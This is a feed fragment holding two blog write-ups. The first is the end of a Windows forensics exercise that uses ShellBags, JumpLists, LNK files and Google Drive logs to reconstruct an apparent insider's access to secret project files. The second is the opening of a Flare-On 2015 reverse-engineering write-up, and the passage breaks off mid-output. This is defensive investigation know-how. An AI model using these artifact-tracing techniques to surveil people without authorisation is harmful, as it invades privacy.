&lt;li&gt;&lt;code&gt;HKU\informant\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKU\informant\Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU\ &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKU\informant\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\8\0\&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;IP address of company shared network drive?&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502172143.png&quot; alt=&quot;Pasted image 20260502172143.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\\10.11.11.128\secured_drive	: 2015-03-23 20:23:28
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Directories traversed in RM#2.&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Timestamp may not be accurate.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;E:\&lt;/code&gt; can be inferred from external storage devices attached to PC in Question 22.&lt;/li&gt;
&lt;li&gt;You can consider a created timestamp and a last accessed timestamp of each &lt;code&gt;ShellBag&lt;/code&gt; entry.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKU\informant\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\1~&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;We can open the &lt;code&gt;UsrClass.dat&lt;/code&gt; into &lt;a href=&quot;https://ericzimmerman.github.io/#forensic-tools&quot;&gt;ShellBags Explorer&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502173154.png&quot; alt=&quot;Pasted image 20260502173154.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Directory Path&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 10:00:19&lt;/td&gt;
&lt;td&gt;E:\Secret Project Data&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 10:01:11&lt;/td&gt;
&lt;td&gt;E:\Secret Project Data\technical&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 10:01:14&lt;/td&gt;
&lt;td&gt;E:\Secret Project Data\proposal&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 10:01:15&lt;/td&gt;
&lt;td&gt;E:\Secret Project Data\progress&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 10:01:17&lt;/td&gt;
&lt;td&gt;E:\Secret Project Data\pricing decision&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 10:01:29&lt;/td&gt;
&lt;td&gt;E:\Secret Project Data\design&lt;/td&gt;
&lt;td&gt;Last Accessed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 16:54:07&lt;/td&gt;
&lt;td&gt;E:\Secret Project Data&lt;/td&gt;
&lt;td&gt;Last Accessed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 16:54:07&lt;/td&gt;
&lt;td&gt;E:\Secret Project Data\progress&lt;/td&gt;
&lt;td&gt;Last Accessed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;List all files that were opened in RM#2.&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502173154.png&quot; alt=&quot;Pasted image 20260502173154.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502174545.png&quot; alt=&quot;Pasted image 20260502174545.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Path&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 10:01:23&lt;/td&gt;
&lt;td&gt;E:\Secret Project Data\design\winter_whether_advisory.zip&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;JumpList&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 10:01:29&lt;/td&gt;
&lt;td&gt;E:\Secret Project Data\design\winter_whether_advisory.zip\ppt&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;JumpList&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 10:01:29&lt;/td&gt;
&lt;td&gt;E:\Secret Project Data\design&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Directories in company network drive.&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&apos;Timestamp&apos; may not be accurate.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;V:\ is mapped on &lt;code&gt;\\10.11.11.128&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;HKU\informant\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\8\0\~ &lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;\User\informant\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations &lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;\User\informant\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;\User\informant\AppData\Roaming\Microsoft\Windows\Recent\*.lnk &lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;\User\informant\AppData\Roaming\Microsoft\Office\Recent\*.lnk&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502175016.png&quot; alt=&quot;Pasted image 20260502175016.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502175052.png&quot; alt=&quot;Pasted image 20260502175052.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;Path&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:24:01&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Common Data&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:24:08&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Past Projects&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:24:12&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Secret Project Data\design&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:24:15&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Secret Project Data\pricing decision&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:24:16&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Secret Project Data\final&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:24:18&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Secret Project Data\technical review&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:24:20&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Secret Project Data\proposal&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:24:27&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Secret Project Data\progress&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:26:53&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Secret Project Data\pricing decision&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;JumpList&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:26:54&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Secret Project Data\pricing decision\&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;LNK File&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:27:24&lt;/td&gt;
&lt;td&gt;V:\Secret Project Data&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:27:29&lt;/td&gt;
&lt;td&gt;V:\Secret Project Data\final&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:27:33&lt;/td&gt;
&lt;td&gt;V:\Secret Project Data\final\&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;JumpList&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:27:33&lt;/td&gt;
&lt;td&gt;V:\Secret Project Data\final\&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;LNK File&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:28:17&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Secret Project Data&lt;/td&gt;
&lt;td&gt;Last Accessed&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:28:17&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Secret Project Data\pricing decision&lt;/td&gt;
&lt;td&gt;Last Accessed&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:47:54&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive&lt;/td&gt;
&lt;td&gt;Last Accessed&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-24 09:47:54&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Past Projects&lt;/td&gt;
&lt;td&gt;Last Accessed&lt;/td&gt;
&lt;td&gt;ShellBag&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Files opened in company network drive.&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502180020.png&quot; alt=&quot;Pasted image 20260502180020.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502175850.png&quot; alt=&quot;Pasted image 20260502175850.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502180122.png&quot; alt=&quot;Pasted image 20260502180122.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;File Path&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:26:53&lt;/td&gt;
&lt;td&gt;\10.11.11.128\SECURED_DRIVE\Secret Project Data\pricing decision(secret_project)_pricing_decision.xlsx&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;JumpList&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:26:53&lt;/td&gt;
&lt;td&gt;\10.11.11.128\SECURED_DRIVE\Secret Project Data\pricing decision(secret_project)_pricing_decision.xlsx&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;LNK (Windows)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:26:53&lt;/td&gt;
&lt;td&gt;\10.11.11.128\SECURED_DRIVE\Secret Project Data\pricing decision(secret_project)_pricing_decision.xlsx&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;LNK (Office)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:26:56&lt;/td&gt;
&lt;td&gt;\10.11.11.128\secured_drive\Secret Project Data\pricing decision(secret_project)_pricing_decision.xlsx&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;Registry (Office)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:27:33&lt;/td&gt;
&lt;td&gt;V:\Secret Project Data\final[secret_project]_final_meeting.pptx&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;JumpList&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:27:33&lt;/td&gt;
&lt;td&gt;V:\Secret Project Data\final[secret_project]_final_meeting.pptx&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;LNK (Windows)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:27:37&lt;/td&gt;
&lt;td&gt;V:\Secret Project Data\final[secret_project]_final_meeting.pptx&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;LNK (Office)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:27:37&lt;/td&gt;
&lt;td&gt;V:\Secret Project Data\final[secret_project]_final_meeting.pptx&lt;/td&gt;
&lt;td&gt;Accessed&lt;/td&gt;
&lt;td&gt;Registry (Office)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;Cloud Forensics&lt;/h1&gt;
&lt;h2&gt;Find traces related to cloud services on PC. (Service name, log files...)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Installation directory&lt;/li&gt;
&lt;li&gt;Registry (Configuration, Uninstall Information, Autoruns, UserAssist, Classes…)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502180342.png&quot; alt=&quot;Pasted image 20260502180342.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502180447.png&quot; alt=&quot;Pasted image 20260502180447.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502180602.png&quot; alt=&quot;Pasted image 20260502180602.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502180809.png&quot; alt=&quot;Pasted image 20260502180809.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Artifact Type&lt;/th&gt;
&lt;th&gt;Location / Path&lt;/th&gt;
&lt;th&gt;Details&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Google Drive&lt;/td&gt;
&lt;td&gt;File/Dir&lt;/td&gt;
&lt;td&gt;C:\Program Files (x86)\Google\Drive|Installation directory&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google Drive&lt;/td&gt;
&lt;td&gt;File/Dir&lt;/td&gt;
&lt;td&gt;C:\Users\informant\AppData\Google\Drive\user_default|User config directory&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google Drive&lt;/td&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;C:\Users\informant\AppData\Google\Drive\user_default\sync_config.db&lt;/td&gt;
&lt;td&gt;Deleted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google Drive&lt;/td&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;C:\Users\informant\AppData\Google\Drive\user_default\snapshot.db&lt;/td&gt;
&lt;td&gt;Deleted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google Drive&lt;/td&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;C:\Users\informant\AppData\Google\Drive\user_default\sync_log.log&lt;/td&gt;
&lt;td&gt;Log file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google Drive&lt;/td&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Downloads\googledrivesync.exe&lt;/td&gt;
&lt;td&gt;Installer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google Drive&lt;/td&gt;
&lt;td&gt;Registry&lt;/td&gt;
&lt;td&gt;HKU\informant\Software\Google\Drive&lt;/td&gt;
&lt;td&gt;Configuration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google Drive&lt;/td&gt;
&lt;td&gt;Registry&lt;/td&gt;
&lt;td&gt;HKU\informant\Software\Classes\GoogleDrive.*&lt;/td&gt;
&lt;td&gt;File associations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Apple iCloud&lt;/td&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Downloads\icloudsetup.exe&lt;/td&gt;
&lt;td&gt;Installer&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Deleted files from Google Drive.&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Path of google drive logs,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;\User\informant\AppData\Google\Drive\user_default\sync_log.log&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;We carve it and parse it using this tool, https://toolbox.googleapps.com/apps/loggershark/.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502184059.png&quot; alt=&quot;Pasted image 20260502184059.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502183554.png&quot; alt=&quot;Pasted image 20260502183554.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2015-03-23 16:32:35.072 -0400 INFO pid=2576 4004:LocalWatcher common.change_buffer:1017

Adding event to change buffer: RawEvent(  
  CREATE, path=u&apos;\\\\?\\C:\\Users\\informant\\Google Drive\\happy_holiday.jpg&apos;, time=1427142755.056, is_dir=False,  
  ino=4503599627374809L, size=440517L, mtime=1422563714.5256062, parent_ino=844424930207017L,  
  is_cancelled=&amp;lt;RawEventIsCancelledFlag.FALSE: 0&amp;gt;, backup=&amp;lt;Backup.NO_BACKUP_CONTENT: (False, False)&amp;gt;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;It indicates that &lt;code&gt;C:\\Users\\informant\\Google Drive\\happy_holiday.jpg&lt;/code&gt; this file is uploaded to drive.&lt;/li&gt;
&lt;li&gt;Another one,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502184321.png&quot; alt=&quot;Pasted image 20260502184321.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;File Metadata (Recovered / Observed Files)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;File Name&lt;/th&gt;
&lt;th&gt;Original Modified Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:42:17&lt;/td&gt;
&lt;td&gt;happy_holiday.jpg&lt;/td&gt;
&lt;td&gt;2015-01-30 11:49:20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:42:17&lt;/td&gt;
&lt;td&gt;do_u_wanna_build_a_snow_man.mp3&lt;/td&gt;
&lt;td&gt;2015-01-29 15:35:14&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Google Drive Sync Activity (LocalWatcher Events)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Timestamp&lt;/th&gt;
&lt;th&gt;File Path&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Size&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:32:35&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Google Drive\happy_holiday.jpg&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;440,517 B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:32:35&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Google Drive\do_u_wanna_build_a_snow_man.mp3&lt;/td&gt;
&lt;td&gt;Created&lt;/td&gt;
&lt;td&gt;6,844,294 B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:42:17&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Google Drive\happy_holiday.jpg&lt;/td&gt;
&lt;td&gt;Deleted&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:42:17&lt;/td&gt;
&lt;td&gt;C:\Users\informant\Google Drive\do_u_wanna_build_a_snow_man.mp3&lt;/td&gt;
&lt;td&gt;Deleted&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Google Drive account information.&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260502184732.png&quot; alt=&quot;Pasted image 20260502184732.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Logon Time&lt;/th&gt;
&lt;th&gt;Account&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2015-03-23 16:05:32&lt;/td&gt;
&lt;td&gt;&lt;code&gt;iaman.informant.personal@gmail.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content:encoded></item><item><title>Flare-On 2015 March 2026</title><link>https://fuwari.vercel.app/posts/flare-on-2015/notes/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/flare-on-2015/notes/</guid><description>Writeup of Flare-On 2015.</description><pubDate>Wed, 25 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Category: Malware Analysis and Reverse Engineering&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficulty: Easy/Medium/Hard&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;File: &lt;a href=&quot;/uploads/Flare-On/2015_FLAREOn_Challenges.zip&quot;&gt;2015_FLAREOn_Challenges.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Challenge 1:&lt;/h1&gt;
&lt;h2&gt;Stage 1 Extracting CAB File&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type: PE32+ executable for MS Windows 5.02 (GUI), x86-64&lt;/li&gt;
&lt;li&gt;Size: 183KB&lt;/li&gt;
&lt;li&gt;SHA256: a0b3e6ab4a53bf745319177035017f222634d2601ba8708292d5fbe440467387&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Detect it Easy (Die) show that this file is &lt;strong&gt;self-extracted CAB/SFX style packing&lt;/strong&gt;, where the executable includes a compressed Microsoft Cabinet file (CAB) and extracts/executes it at runtime and it is just a &lt;strong&gt;wrapper/loader&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;.rsrc&lt;/code&gt; section is compressed, which is why the tool flags &lt;strong&gt;high entropy&lt;/strong&gt;, classic sign of packing or encryption.&lt;/li&gt;
&lt;li&gt;Compression algorithm used inside the CAB is &lt;strong&gt;LZX&lt;/strong&gt; (as shown), which is common in Microsoft CAB archives.&lt;/li&gt;
&lt;li&gt;So we have to first extract the actual exe from this and analyze it,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260325045316.png&quot; alt=&quot;Pasted image 20260325045316.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260325045448.png&quot; alt=&quot;Pasted image 20260325045448.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We can extract it using &lt;a href=&quot;https://www.cabextract.org.uk/&quot;&gt;cabextract&lt;/a&gt; tool, and it will written in &lt;code&gt;Flare-On_start_2015.exe&lt;/code&gt; file,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ cabextract Flare-On_start_2015.exe
Extracting cabinet: Flare-On_start_2015.exe
  extracting i_am_happy_you_are_to_playing_the_flareon_challenge.exe

All done, no errors.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Stage 2 Understanding the ASMx86 Compiled EXE&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type: PE32 executable for MS Windows 4.00 (console), Intel i386&lt;/li&gt;
&lt;li&gt;Size: 2KB&lt;/li&gt;
&lt;li&gt;SHA256: 5d35789ac904bc5f4639119391ad1078f267a157ca153f2906f05df94e557e11&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;It gives &lt;code&gt;i_am_happy_you_are_to_playing_the_flareon_challenge.exe&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;By running &lt;code&gt;die&lt;/code&gt; on it, and it is written in &lt;strong&gt;assembly&lt;/strong&gt;, not C/CPP.&lt;/li&gt;
&lt;li&gt;Also, it has missing DOS Header which means most of the automatic tools fail here because of these setup.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260325045717.png&quot; alt=&quot;Pasted image 20260325045717.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Running &lt;code&gt;floss&lt;/code&gt; for strings analysis,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ /opt/floss i_am_happy_you_are_to_playing_the_flareon_challenge.exe
.
.
.
 ───────────────────────────
  FLOSS STATIC STRINGS (18)
